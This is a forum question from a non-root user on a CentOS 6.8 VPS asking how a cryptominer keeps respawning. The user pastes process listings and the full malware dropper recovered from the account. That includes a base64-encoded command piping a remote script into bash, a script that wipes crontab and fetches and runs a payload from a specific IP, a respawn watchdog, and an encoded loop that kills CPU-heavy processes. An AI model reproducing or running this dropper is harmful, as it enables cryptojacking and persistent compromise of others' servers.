Centos – process keeps on starting

On a VPS that I use, somehow I got a little annoying miner. (I'm not root)

15109 ?        Z      0:00 [sh] <defunct>
15134 ?        Ssl    0:03 []
15160 ?        S      0:00 ./5DiaEd75 ./bNlMGMON
15162 ?        S      0:00 ./5DiaEd75 ./bnkI202h
15183 ?        S      0:00 sleep 5
15184 ?        S      0:00 sleep 5

Every time it starts with a different name from /var/tmp.
As far as I have seen, it downloads a file from transfer.sh (later edit: the script is the one from transfer.sh, I thought it was the site) sometime after I kill it (this I saw from stalking ps x)

47067 ?        S      0:00 sh -c echo -n 'd2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQuNDguMjQuNzIvaW5kZXguaHRtbCB8IGJhc2g=' | base64 -d | bash
47070 ?        S      0:00 bash
47072 ?        S      0:00 bash
47088 ?        S      0:00 wget http://204.48.24.72/zeenuts -O ./0amdpE5K

I checked the crontab, but there is nothing there and if I put something there it gets deleted after that process starts.
I also see before this thing starts a:

27985 ?        S      0:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t -f root

I can't get rid of this thing.
Is there a way that it sets a cron-like job without using crontab? or using the sendmail function?
The [] process using lsof it says it runs from /; also in /var/tmp, it downloads 2 executables.

The /user/bin/sendmail might not be related, as I noticed that starts whenever I set in crontab a command and it gets executed. Might be a setitng the admin made for crontab jobs.

2.6.32-642.el6.x86_64
CentOS release 6.8 (Final)

I saw the script:

        #<!--

    function random() {
    chars=abcdefghijklmnop1234567890ABCDEFGHIJKLMNOP
    for i in {1..8} ; do
    echo -n ${chars:RANDOM%${#chars}:1}
    done
    }

    new_bash=$(random)
    new_daemon=$(random)
    new_killbot=$(random)
    new_payload=$(random)
    crontab -r

    writable_path=("/var/tmp" "/tmp" `pwd`)

    for install_path in ${writable_path[@]}
    do
        cd $install_path

        rm -rf touch ponezz

        cp `command -v touch` ./touch
        ./touch ./ponezz
        if [ ! -f ./ponezz ]; then
            continue
        else
            rm -rf touch ponezz
            break
        fi
    done

    if [ $(command -v wget | wc -l) -eq 1 ]; then
        wget http://204.48.24.72/zeenuts -O ./$new_payload
    elif [ $(command -v curl | wc -l) -eq 1 ]; then
        curl http://204.48.24.72/zeenuts -o ./$new_payload
    elif [ $(command -v python | wc -l) -eq 1 ]; then
        if [ $(python -V 2>&1 | sed 's/.* \([0-9]\).\([0-9]\).*/\1\2/') -lt "30" ]; then
            python -c "from urllib import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        else
            python -c "from urllib.request import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        fi
    fi
    chmod 777 ./$new_payload
    nohup ./$new_payload
    ./$new_payload

    echo "sleep 2;rm "'$0'" ;while true;do sleep 5; ps x | grep -F '[]' | grep -v grep;if [ "'$?'" -eq 1 ]; then chmod 777 ./$new_payload;nohup ./$new_payload;./$new_payload;fi;ps | grep -F '[]' | grep -v grep | awk '{print "'$1'"}' | awk '{if(NR>1)print}' | xargs -n1 kill -9;done" | tee ./$new_daemon
    echo -n 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1ZTtkbyBzbGVlcCA1OyBwcyBhdXggfGdyZXAgLXYgLUYgJ1tdJyB8IGF3ayAne2lmKCQzPjQwLjApIHByaW50ICQyfScgfCB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAtOSAkcHJvY2lkOyBkb25lO2RvbmU=' | base64 -d | tee ./$new_killbot
cp `command -v bash` ./$new_bash

./$new_bash ./$new_daemon &
./$new_bash ./$new_killbot &

Fun little script, but I can't figure out how it keeps on starting.